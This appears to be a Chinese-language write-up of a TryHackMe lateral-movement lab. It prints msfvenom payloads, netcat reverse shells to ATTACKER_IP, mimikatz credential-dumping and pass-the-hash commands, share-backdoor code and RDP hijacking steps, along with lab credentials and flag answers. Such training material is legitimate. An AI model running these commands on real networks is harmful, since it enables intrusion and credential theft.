Post Compromise - 0504 Lateral Movement and Pivoting | TryHackMe
https://tryhackme.com/room/lateralmovementandpivoting
Task 1 Introduction
配置 kali 网络,通过 openvpn 接入实验环境
Task 2 通过网络横向移动
什么是横向移动
横向移动(Lateral Movement)是攻击者用于在网络中移动的一套技术。一旦攻击者已经获得了对网络(尤指内网)中一台计算机的访问权限,出于某些目的,横向移动就变得至关重要,主要包括以下几点:
- 实现我们作为攻击者的目标
- 绕过现有的网络限制
- 建立额外的网络接入点
- 制造混乱并避免被检测
许多网络杀伤链将横向移动视为线性过程的附加步骤,但它实际上是循环的一部分。在这个周期中,我们使用任何可用的凭据来进行横向移动,使得我们能够访问到新的机器,在新机器上我们可以提权并提取凭据(如果可能)。有了新的凭据,循环又开始了:
通常,我们需要重复这个循环很多次,才能到达内网中的最终目标。如果我们的第一个立足点是一台几乎无法访问其他网络资源的计算机,那么我们可能需要横向移动到在网络中拥有更多权限的其他主机。
一个场景示例
假设我们正在执行红队行动,我们的最终目标是到达内部的代码存储库,那么首先可以通过网络钓鱼活动在目标网络上获得了第一个权限。通常,网络钓鱼活动对非技术人员更加有效,因此我们的第一个内网权限可能是在营销部门的机器上。
营销部门的工作站机器通常会受到防火墙策略的限制,无法访问网络上的任何关键服务,包括管理协议、数据库端口、监控服务或日常工作不需要的任何其他服务,包括代码存储库。
为了到达敏感的主机和服务,我们需要转移到其他主机并从那里转向我们的最终目标。为此,我们可以尝试在营销部门机器上进行提权,并提取本地用户的密码哈希值。如果我们找到了本地管理员,其他主机上也可能存在相同的帐户。经过一番侦察,我们发现了一个名为 DEV-001-PC
的 PC。我们使用本地管理员的密码哈希来访问 DEV-001-PC
,并确认它属于公司的一位开发人员所有,在这台机器上,就可以访问到我们的目标代码存储库。
注意:横向移动不仅仅可以用来绕过防火墙限制,也有助于规避检测。在上面的示例中,即使营销部门的机器可以直接访问代码存储库,也可能需要通过开发人员的 PC 进行连接。因为从检查登录日志的蓝队分析人员的角度来看,这种行为的可疑性较小。
攻击者视角
攻击者可以通过多种方式进行横向移动,最简单的方法是使用标准管理协议(例如 WinRM、RDP、VNC 或 SSH)连接到网络中的其他计算机。只要在计划连接的位置和使用的账户方面保持一定的一致性,这种方法就可以在某种程度上模拟常规用户的行为。虽然 IT 部门的用户通过 RDP 连接到 Web 服务器可能很常见并且不会受到关注,但必须注意不要尝试可疑的连接(例如,为什么本地管理员用户会从营销部门机器连接到 DEV-001-PC
这台个人电脑?)。
目前,攻击者还可以使用其他横向移动方法,这就让蓝队有效检测正在发生的情况变得更具挑战性。没有任何技术应该被当做是万无一失的,但我们至少可以尝试尽可能保持静默。
Task 3 远程创建进程
Psexec
- 端口:445/TCP (SMB)
- 所需的组成员身份:Administrators
多年来,Psexec 一直是需要远程执行进程时的首选方法。它允许管理员用户在他有权访问的任何 PC 上远程运行命令。 Psexec 是众多 Sysinternals 工具之一,官方下载链接如下:
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
psexec 的工作流程如下:
- 连接到 Admin$ 共享文件夹并上传服务二进制文件。 Psexec 使用
psexesvc.exe
作为文件名; - 连接到服务控制管理器以创建并运行名为
PSEXESVC
的服务,并将服务二进制文件与C:\Windows\psexesvc.exe
相关联; - 创建一些命名管道来处理 stdin/stdout/stderr
要运行 psexec,我们只需提供远程主机所需的管理员凭据以及我们要运行的命令:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
使用 WinRM 远程创建进程
- 端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:Remote Management Users
Windows Remote Management (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令,大多数 Windows Server 安装后都会默认启用 WinRM,这使其成为一个有吸引力的攻击媒介。
要从命令行连接到远程 Powershell 会话,我们可以使用以下命令:
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential
对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
获得 PSCredential
对象后,我们可以使用 Enter-PSSession
cmdlet 创建交互式会话:
Enter-PSSession -Computername TARGET -Credential $credential
Powershell 还包括 Invoke-Command
cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭证也必须通过 PSCredential
对象传递:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
使用 sc 远程创建服务
- 端口:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
- 所需的组成员身份:Administrators
Windows 服务也可用于运行任意命令,因为它们在启动时执行命令。
我们可以使用 sc.exe
(Windows 中提供的标准工具)在远程主机上创建服务。使用 sc
时,它会通过几种方式尝试通过 RPC 连接到 Service Control Manager(SVCCTL)远程服务程序:
-
使用 DCE/RPC 进行连接尝试。客户端将首先在端口 135 连接到端点映射器 (EPM),该端点映射器充当可用 RPC 端点的目录并请求有关 SVCCTL 服务程序的信息。然后,EPM 将响应 IP 和端口以连接到 SVCCTL,该端口通常是 49152-65535 范围内的动态端口。
-
如果后一个连接失败,
sc
将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道到达 SVCCTL。
我们可以使用以下命令创建并启动名为 THMservice
的服务:
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
服务启动时将执行 net user
命令,在系统上创建一个新的本地用户。由于操作系统只负责启动服务,因此我们无法看到命令执行的结果。
要停止并删除该服务,可以执行以下命令:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
远程创建计划任务
另一个可以利用的 Windows 功能是计划任务。我们可以利用 schtasks
远程创建并运行一个任务,该任务可在任何 Windows 版本中使用。例如,我们可以通过以下命令创建一个名为 THMtask1
的任务:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
该命令中将计划类型 (/sc) 设置为 ONCE
,这意味着该任务仅在指定的时间和日期运行一次。因为我们将手动运行任务,所以开始日期 (/sd) 和开始时间 (/st) 设置为多少都无所谓。与 sc
相同,这种方式执行命令时我们无法查看执行结果。
删除该计划任务可使用以下命令:
schtasks /S TARGET /TN "THMtask1" /DELETE /F
通过 msf 利用 sc 进行横向移动
用户名:ZA.TRYHACKME.COM\t1_leonard.summers
密码:EZpass4ever
从 THMJMP2 横向到 THMIIS
ssh 登录到 THMJMP2:
ssh ZA.TRYHACKME.COM\\[email protected]
通过 msfvenom 生成 exe-service
格式木马:
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o rev.exe
msf 启动监听:
user@AttackBox$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4444
通过 smb 上传木马:
smbclient -c 'put rev.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/'
通过 runas
生成一个带有 t1_leonard.summers
权限的 shell(在 kali 通过 nc 监听 4443 端口):
C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
在反弹的 shell 中创建并运行服务:
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-22 binPath= "%windir%\rev.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-22
成功收到反弹 shell:
Question: After running the flag.exe
file on t1_leonard.summers
desktop on THMIIS, what is the flag?
Answer: THM{MOVING_WITH_SERVICES}
Task 4 通过 WMI 横向移动
我们还可以使用 Windows Management Instrumentation (WMI) 来进行横向移动。WMI 允许管理员执行标准的管理任务,攻击者可以滥用这些任务以各种方式执行横向移动。
从 Powershell 连接到 WMI
在使用 Powershell 命令连接到 WMI 之前,需要为用户名和密码创建一个 PSCredential
对象。该对象将存储在 $credential
变量中:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
然后就可以使用以下协议之一建立 WMI 会话:
- DCOM:通过 RPC over IP 连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP,正如使用 sc.exe 时所解释的那样。
- Wsman:通过 WinRM 连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。
要从 Powershell 建立 WMI 会话,可以使用以下命令将会话存储在 $Session
变量中:
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
New-CimSessionOption
cmdlet 用于配置 WMI 会话的连接选项,包括连接协议。然后,选项和凭据将传递到 New-CimSession
cmdlet 以建立针对远程主机的会话。
使用 WMI 远程创建进程
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:Administrators
利用 Windows Management Instrumentation (WMI) 从 Powershell 远程生成一个进程,向 Win32_Process 类发送 WMI 请求,以在我们之前创建的会话下生成该进程:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
注:WMI 同样无法查看任何命令的输出,但确实会静默创建所需的进程。
在旧系统上,可以在命令提示符下使用 wmic 完成相同的操作:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
使用 WMI 远程创建服务
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:Administrators
通过 Powershell 使用 WMI 创建服务:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
然后获取该服务的句柄并使用以下命令启动它:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
最后,可以通过以下命令停止并删除该服务:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
使用 WMI 远程创建计划任务
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:Administrators
使用 Windows 默认安装中提供的一些 cmdlet 创建并执行计划任务:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
在使用完计划任务后将其删除:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过 WMI 安装 MSI 包
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:Administrators
MSI 是一种用于安装程序的文件格式。攻击者可以通过任何可用的方式将 MSI 包复制到目标系统,一旦 MSI 文件位于目标系统中,我们就可以尝试通过 WMI 调用 Win32_Product 类来安装它:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
通过 wmic 来实现相同的目的:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
通过 msf 利用 WMI 进行横向移动
用户名:ZA.TRYHACKME.COM\t1_corine.waters
密码:Korine.1994
ssh 登录到 THMIIS 并切换为 powershell:
ssh ZA.TRYHACKME.COM\\[email protected]
powershell -ep bypass
通过 msf 生成 msi
格式木马:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > revinstall.msi
通过 smb 上传木马:
smbclient -c 'put revinstall.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/'
启动 msf 监听:
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4445
从 Powershell 控制台启动针对 THMIIS 的 WMI 会话:
PS C:\> $username = 't1_corine.waters';
PS C:\> $password = 'Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
从 Win32_Product 类调用 Install 方法来触发有效负载:
PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\revinstall.msi"; Options = ""; AllUsers = $false}
msf 中收到反弹 shell:
Question: After running the flag.exe
file on t1_corine.waters
desktop on THMIIS, what is the flag?
Answer: THM{MOVING_WITH_WMI_4_FUN}
Task 5 备用身份验证方案利用
备用身份验证材料,这里指的是可用于访问 Windows 帐户而无需实际知道用户密码本身的任何数据。
这例举例当网络上存在以下任一身份验证协议时可作为用户登录的几种替代方案:
- NTLM 身份认证
- Kerberos 身份认证
NTLM 认证
NTLM 身份认证的工作原理:
- 客户端向他们想要访问的服务器发送身份验证请求;
- 服务器生成一个随机数并将其作为质询(Challenge)发送给客户端;
- 客户端将其 NTLM 密码哈希与质询(以及其他已知数据)结合起来,生成对质询的响应,并将其发送回服务器进行验证;
- 服务器将质询和响应转发给域控进行验证;
- 域控使用质询重新计算响应并将其与客户端发送的初始响应进行比较,如果两者匹配,则客户端通过身份验证;否则,访问将被拒绝。认证结果会发送回服务器;
- 服务器将认证结果转发给客户端;
注:上述过程仅适用于使用域帐户的时候。如果使用本地帐户,服务器可以验证对质询本身的响应,而无需与域控交互,因为它的 SAM 上本地存储有密码哈希值。
Pass-the-Hash
从我们获得到管理员权限的主机中提取凭据(通过使用 mimikatz 或类似工具)后,可能会得到可以轻松破解的明文密码或哈希值,或者未破解的 NTLM 密码哈希。
由前面对 NTLM 认证过程的解读可知,只需得到密码哈希值即可响应身份验证期间发送的 NTLM 质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份认证,则无需破解 NTLM 哈希值,我们就可以传递哈希值 (PtH) 并成功通过身份认证。
要提取 NTLM 哈希值,可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希值。
- 从本地 SAM 中提取 NTLM 哈希值:
注:此方法只能抓取计算机上的本地用户哈希,无法抓取域用户的哈希。
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
- 从 LSASS 内存中提取 NTLM 哈希值:
注:此方法可以抓取本地用户和最近登录到计算机的任何域用户的任何 NTLM 哈希。
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
之后,就可以利用提取的哈希值来进行 PtH 攻击,方法是使用 mimikatz 在反弹的 shell 上为受害者用户注入访问令牌,如下所示:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
注:这里使用
token::revert
来重新建立原始令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。
这个操作相当于使用 runas /netonly
,但使用的是哈希散列而不是明文密码
注意在攻击机提前启动监听:nc -lvnp 5555
在此 shell 上执行 whoami
命令,它仍然会显示在执行 PtH 之前使用的原始用户,但从这里运行的任何命令实际上都会使用我们通过 PtH 注入的凭据权限。
使用 Linux 传递哈希:
- 使用 PtH 连接到 RDP:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
- 使用 PtH 建立 psexec 连接:
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
- 使用 PtH 建立 WinRM 连接:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos 身份认证
Kerberos 身份认证在 Windows 网络中的工作原理:
- 票据颁发(Ticket Granting Ticket - TGT)。用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到密钥分发中心(KDC),该服务通常安装在域控上,负责在网络上创建 Kerberos 票据。
KDC 将创建并下发票据授予票据 (TGT),允许用户通过票据来访问特定服务,而无需将其凭据传递给服务本身。与 TGT 一起,还将向用户提供会话密钥,用户将需要该会话密钥来生成后续请求。
注意:TGT 使用 krbtgt 账户的密码哈希进行加密,因此用户无法访问其内容。重要的是要知道加密的 TGT 中包括有会话密钥的副本,并且 KDC 不需要存储会话密钥,因为它可以在需要时通过解密 TGT 来恢复副本。
- 获取服务票据(Service Ticket - TGS)。当用户想要连接到网络上的服务(例如共享文件夹、网站或数据库)时,他们将使用 TGT 向 KDC 请求票据授予服务 (TGS)。 要请求 TGS,用户将发送他的用户名和使用会话密钥加密的时间戳,以及 TGT 和服务主体名称(SPN),该名称标示我们要访问的服务和服务器名称。
因此,KDC 将向我们发送 TGS 票据和服务会话密钥,我们需要对我们想要访问的服务进行身份验证。TGS 使用服务所有者的哈希进行加密,服务所有者是运行服务的用户或计算机帐户。TGS 在其加密内容中会包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来获取它。
- 验证和访问服务。将 TGS 发送到所需的服务以进行身份验证并建立连接,该服务将使用其配置的账户的密码哈希来解密 TGS 并验证服务会话密钥,如果有效,则授予客户端对服务的访问权限。
TGT 有一定的有效期,在有效期内,用户可以继续使用 TGT 获取 Service Ticket。如果 TGT 过期,用户就需要重新进行身份验证。
Kerberos 的工作原理基于共享密钥,而不是明文传输密码,这提高了安全性。此外,Kerberos 采用票据的方式,使得用户只需在登录时提供密码,之后就可以通过票据来访问其他服务,而无需再次输入密码,提高了系统的使用便利性。
Pass-the-Ticket
可以使用 mimikatz 从 LSASS 内存中提取 Kerberos 票据和会话密钥。该过程通常需要我们在受害者机器上取得 SYSTEM 权限,可以按如下方式完成:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数时候,我们会更加关注 TGT,因为它们可用于请求访问允许用户访问的任何服务。而且,TGS 仅适用于特定服务。提取 TGT 需要有管理员凭据,提取 TGS 则可以使用低权限帐户。
一旦提取到了所需的票据,就可以使用以下命令将票据注入当前会话:
mimikatz # kerberos::ptt [0;427fcd5][email protected]
在我们自己的会话中注入票据不需要管理员权限,此后用于横向移动的任何工具都可以使用票据。要检查票据是否已正确注入,可以通过 klist 命令查询:
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
Overpass-the-hash / Pass-the-Key
这种攻击与 PtH 类似,但适用于 Kerberos 网络。
当用户请求 TGT 时,他们会发送使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有这些密钥中的任何一个,我们就可以向 KDC 请求 TGT,而无需实际密码,因此得名 Pass-the-key (PtK)。
通过 mimikatz 从内存中获取 Kerberos 加密密钥:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
根据可用的密钥,我们可以在 mimikatz 上运行以下命令,以通过密钥传递来获取反向 shell:
- RC4 hash
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
- AES128 hash
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
- AES256 hash
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希值。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。这种特殊的变体通常被称为 Overpass-the-Hash (OPtH)。
通过 mimikatz 进行 PtH/PtT/PtK 攻击
使用以下凭据通过 SSH 连接到 THMJMP2:
用户名:ZA.TRYHACKME.COM\t2_felicia.dean
密码:iLov3THM!
ssh za\\[email protected]
PtH 到域用户 t1_toby.beck
抓取 hash:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 700428 (00000000:000ab00c)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 11/26/2023 11:07:04 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
msv :
[00000003] Primary
* Username : t1_toby.beck
* Domain : ZA
* NTLM : 533f1bd576caa912bdb9da284bbc60fe
* SHA1 : 8a65216442debb62a3258eea4fbcbadea40ccc38
* DPAPI : d9cd92937c7401805389fbb51260c45f
注入票据并反弹 shell:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
使用 winrs
连接到 THMIIS 上的 cmd。由于任何攻击都会将 t1_toby.beck
的凭据注入到会话中,因此可以运行 winrs
而不指定任何凭据,它将直接使用当前会话可用的凭据:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
PtT 到域用户 t1_toby.beck
抓取 kerberos 票据并注入到内存:
mimikatz # privilege::debug
mimikatz # token::revert
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;ab00c][email protected]
使用 winrs
连接到 THMIIS:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
PtK 到域用户 t1_toby.beck
先清空前面已注入的 Kerberos 票据:
klist purge
通过 mimikatz 从内存中获取 Kerberos 加密密钥:
mimikatz # privilege::debug
mimikatz # token::revert
mimikatz # sekurlsa::ekeys
Authentication Id : 0 ; 700428 (00000000:000ab00c)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 11/26/2023 11:07:04 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Domain : ZA.TRYHACKME.COM
* Password : (null)
* Key List :
aes256_hmac 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e
rc4_hmac_nt 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old 533f1bd576caa912bdb9da284bbc60fe
rc4_md4 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_nt_exp 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old_exp 533f1bd576caa912bdb9da284bbc60fe
根据可用的密钥,我们可以在 mimikatz 上运行以下命令,以通过密钥传递来获取反向 shell:
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
使用 winrs
连接到 THMIIS:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
Question: What is the flag obtained from executing flag.exe
on t1_toby.beck's desktop on THMIIS?
Answer: THM{NO_PASSWORD_NEEDED}
Task 6 滥用用户行为
滥用可写共享
查找网络共享上托管的脚本或可执行文件的快捷方式:
管理员可以在网络共享中上传可执行文件,并且用户可以直接运行它,而无需将应用程序复制或安装到每个用户的计算机上。如果我们作为攻击者拥有对此类脚本或可执行文件的写入权限,就可以对它们植入后门以强迫用户执行我们的 payload。
尽管脚本或可执行文件托管在服务器上,但当用户在其电脑中打开快捷方式时,可执行文件将会从服务器复制到其电脑中的 %temp%
文件夹并在用户电脑上执行,从而使得我们可以获取到用户电脑权限。
vbs 后门
如果共享资源是 VBS 脚本,我们可以将 nc64.exe
的副本放在同一个共享上,并在共享脚本中注入以下代码:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
这会将 nc64.exe
从网络共享中复制到用户电脑的 %tmp%
目录,并在用户打开共享 VBS 脚本时向攻击者建立反弹 shell。
exe 后门
如果共享文件是 Windows 二进制文件,例如 putty.exe
,我们可以从网络共享中下载它并使用 msfvenom
向其注入后门。该二进制文件还是可以正常运行,但会静默执行附加进去的 payload。要创建后门 putty.exe
,可以使用以下命令:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
生成的 puttyX.exe
将在用户没有感知的情况下(当然这里是指没有杀软的情况,msf 注入的后门早已被各大杀软标记特征)执行 reverse_tcp
meterpreter payload。文件生成后,我们可以替换掉 Windows 网络共享上的可执行文件,使用 Metasploit 中的 exploit/multi/handler
模块等待目标上线。
RDP 劫持
当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果你在 Windows Server 2016 及以下版本上获取了系统权限,则无需密码即可接管机器上任何已有的 RDP 会话。
如果我们有管理员级别的权限,可以通过任何方法来获取 SYSTEM 权限。下面使用 psexec 来执行此操作。
首先,以管理员身份运行 cmd.exe:
运行 PsExec64.exe
:
PsExec64.exe -s cmd.exe
要列出服务器上现有的会话,可以使用以下命令:
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
根据上面的命令输出,如果你当前使用的是管理员用户建立的 RDP 连接,其 SESSIONNAME
就是 rdp-tcp#6
。我们还可以看到名为 luke
的用户打开了一个 ID 为 3
的会话。任何具有 Disc
状态的会话都已被用户保持为打开状态,且当前未被使用。你也可以接管 Active
会话,但当这样操作时,合法用户将被迫退出其会话,他们就会注意到这个情况并产生怀疑。
要连接到会话,可以使用 tscon.exe
并指定我们要接管的会话 ID,以及当前的 SESSIONNAME
。按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,可以使用以下命令:
tscon 3 /dest:rdp-tcp#6
该命令会使得 luke 拥有的图形会话 3 通过管理员用户拥有的 RDP 会话 rdp-tcp#6
进行连接。该操作会恢复 Luke 的 RDP 会话并立即连接到它。
注意:Windows Server 2019 开始不允许用户在不知道密码的情况下连接到其他用户的会话。
RDP 会话劫持实践
从 http://distributor.za.tryhackme.com/creds_t2 获取一组新凭据连接到 THMJMP2。获得凭据后,通过 RDP 连接到 THMJMP2:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD
以管理员身份运行 cmd 并运行 psexec:
cd c:\tools
PsExec64.exe -s cmd.exe
劫持 t1_toby.beck
在 THMJMP2 上的 RDP 会话:
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
t1_toby.beck5 2 Disc 5 11/27/2023 6:55 AM
t1_toby.beck 3 Disc 6 11/27/2023 7:04 AM
t1_toby.beck1 4 Disc 6 11/27/2023 7:04 AM
t1_toby.beck2 5 Disc 6 11/27/2023 7:05 AM
t1_toby.beck3 6 Disc 5 11/27/2023 7:05 AM
t1_toby.beck4 7 Disc 5 11/27/2023 7:05 AM
t2_charlie.holland rdp-tcp#50 9 Active . 11/27/2023 8:15 AM
C:\Windows\system32>tscon 3 /dest:rdp-tcp#50
成功劫持会话并获取到 flag:
Question: What flag did you get from hijacking t1_toby.beck's session on THMJMP2?
Answer: THM{NICE_WALLPAPER}
